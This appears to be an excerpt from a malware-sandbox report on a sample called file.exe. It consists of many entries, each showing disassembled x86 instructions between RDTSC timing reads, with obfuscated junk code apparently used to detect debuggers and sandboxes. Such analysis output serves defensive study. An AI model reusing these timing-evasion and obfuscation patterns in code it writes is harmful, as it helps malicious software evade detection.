Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10B43 second address: D10B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FF0BC8515D8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 movsx esi, di 0x00000027 xchg eax, ebx 0x00000028 jmp 00007FF0BC8515DAh 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push edi 0x00000031 jmp 00007FF0BC8515E6h 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D110C7 second address: D110E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF0BCB462C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11B44 second address: D11B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11B48 second address: D11B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11B4C second address: D11B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11B52 second address: D11B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11B58 second address: D11B67 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11B67 second address: D11B71 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12B97 second address: D12B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12B9C second address: D12C32 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF0BCB462BBh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF0BCB462C9h 0x00000011 nop 0x00000012 sub dword ptr [ebp+12450062h], eax 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FF0BCB462B8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 add dword ptr [ebp+122D2626h], esi 0x0000003a jmp 00007FF0BCB462BDh 0x0000003f push 00000000h 0x00000041 mov esi, dword ptr [ebp+122D29CEh] 0x00000047 mov dword ptr [ebp+122D1B9Fh], edx 0x0000004d xchg eax, ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushad 0x00000052 popad 0x00000053 jmp 00007FF0BCB462C5h 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12C32 second address: D12C38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12C38 second address: D12C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12C3C second address: D12C4E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0BC8515D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12C4E second address: D12C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D135BC second address: D135C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D135C0 second address: D135CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1411E second address: D14128 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF0BC8515D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13EF6 second address: D13EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14128 second address: D14146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF0BC8515DAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15F8F second address: D16007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b jno 00007FF0BCB462B6h 0x00000011 pop eax 0x00000012 pushad 0x00000013 jp 00007FF0BCB462B6h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c popad 0x0000001d nop 0x0000001e jmp 00007FF0BCB462BBh 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007FF0BCB462B8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f mov si, 3000h 0x00000043 mov edi, dword ptr [ebp+122D1BD6h] 0x00000049 push 00000000h 0x0000004b mov edi, dword ptr [ebp+122D2BD2h] 0x00000051 xchg eax, ebx 0x00000052 jmp 00007FF0BCB462C2h 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b pushad 0x0000005c popad 0x0000005d push esi 0x0000005e pop esi 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B286 second address: D1B30E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF0BC8515DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007FF0BC8515E4h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FF0BC8515D8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c push 00000000h 0x0000002e jmp 00007FF0BC8515E4h 0x00000033 push 00000000h 0x00000035 jng 00007FF0BC8515DEh 0x0000003b jns 00007FF0BC8515D8h 0x00000041 xchg eax, esi 0x00000042 push ebx 0x00000043 jmp 00007FF0BC8515DDh 0x00000048 pop ebx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jbe 00007FF0BC8515D6h 0x00000053 push edi 0x00000054 pop edi 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D1EA second address: D1D22E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BCB462C0h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007FF0BCB462BBh 0x00000012 sub bx, E0F9h 0x00000017 pop edi 0x00000018 push 00000000h 0x0000001a mov bh, ah 0x0000001c push 00000000h 0x0000001e mov edi, dword ptr [ebp+1247C443h] 0x00000024 sbb edi, 6370CED0h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e push eax 0x0000002f pop eax 0x00000030 push ecx 0x00000031 pop ecx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D168B3 second address: D168B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A434 second address: D1A439 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D193C7 second address: D193D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF0BC8515D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B4BB second address: D1B4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FF0BCB462BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C4D0 second address: D1C574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FF0BC8515E4h 0x0000000c popad 0x0000000d push eax 0x0000000e push ecx 0x0000000f jmp 00007FF0BC8515E7h 0x00000014 pop ecx 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FF0BC8515D8h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 push ebx 0x00000031 mov dword ptr [ebp+122D1B9Fh], edi 0x00000037 pop ebx 0x00000038 push dword ptr fs:[00000000h] 0x0000003f xor edi, dword ptr [ebp+122D5416h] 0x00000045 mov dword ptr fs:[00000000h], esp 0x0000004c or edi, 08CF1E95h 0x00000052 mov eax, dword ptr [ebp+122D13B9h] 0x00000058 mov edi, 38BD4E66h 0x0000005d push FFFFFFFFh 0x0000005f push esi 0x00000060 mov ebx, 065370BEh 0x00000065 pop ebx 0x00000066 nop 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a push edi 0x0000006b pop edi 0x0000006c jmp 00007FF0BC8515DFh 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F2B6 second address: D1F2F8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FF0BCB462B8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 xor dword ptr [ebp+122D1BA9h], ebx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c and ebx, 12E9FF50h 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push ecx 0x00000037 pop ecx 0x00000038 pushad 0x00000039 popad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F2F8 second address: D1F31B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F31B second address: D1F320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D3D6 second address: D1D3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F467 second address: D1F46D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F46D second address: D1F476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2060F second address: D20638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FF0BCB462C1h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF0BCB462BFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20638 second address: D2063D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25452 second address: D25465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FF0BCB462B8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25465 second address: D25477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BC8515DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D245FA second address: D24610 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jnp 00007FF0BCB462C0h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25725 second address: D25729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25729 second address: D25769 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FF0BCB462C4h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 jmp 00007FF0BCB462C4h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26918 second address: D2691E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2691E second address: D26922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31487 second address: D3148B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31622 second address: D31626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3179A second address: D317A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF0BC8515D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37B05 second address: D37B26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FF0BCB462C0h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37B26 second address: D37B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37B2B second address: D37B30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37CC0 second address: D37CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37CC4 second address: D37CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37CCD second address: D37CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3FA57 second address: D3FA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3FA5D second address: D3FA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3FA62 second address: D3FA9F instructions: 0x00000000 rdtsc 0x00000002 je 00007FF0BCB462C4h 0x00000008 jmp 00007FF0BCB462BEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FF0BCB462BCh 0x00000017 jmp 00007FF0BCB462C7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3FA9F second address: D3FAA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45676 second address: D4567F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4567F second address: D45683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45B10 second address: D45B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45B14 second address: D45B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BC8515E6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FF0BC8515E8h 0x00000010 jp 00007FF0BC8515DEh 0x00000016 popad 0x00000017 push eax 0x00000018 je 00007FF0BC8515E2h 0x0000001e jns 00007FF0BC8515D6h 0x00000024 jbe 00007FF0BC8515D6h 0x0000002a push esi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D465F1 second address: D465F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D465F5 second address: D4661A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007FF0BC8515D6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF0BC8515E1h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AE59 second address: D4AE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF0BCB462B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AE63 second address: D4AE67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A851 second address: D4A882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C8h 0x00000007 jmp 00007FF0BCB462C5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B545 second address: D4B556 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF0BC8515D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B556 second address: D4B569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B7F7 second address: D4B7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BAE6 second address: D4BAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D515BB second address: D515BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D515BF second address: D515DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007FF0BCB462B6h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D515DE second address: D51604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FF0BC8515D6h 0x0000000e jmp 00007FF0BC8515E8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50559 second address: D50575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jnl 00007FF0BCB462B6h 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FF0BCB462B6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50575 second address: D50579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1721C second address: D17242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FF0BCB462B6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF0BCB462C4h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17242 second address: D17246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17246 second address: D17254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FF0BCB462B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D176A2 second address: D176C5 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF0BC8515D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF0BC8515E3h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D179B6 second address: D179FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c add dword ptr [ebp+122D1D3Ch], eax 0x00000012 mov edi, dword ptr [ebp+122D2906h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e jmp 00007FF0BCB462C7h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D179FD second address: D17A07 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF0BC8515DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17AD2 second address: D17AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FF0BCB462C0h 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17AEE second address: D17AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
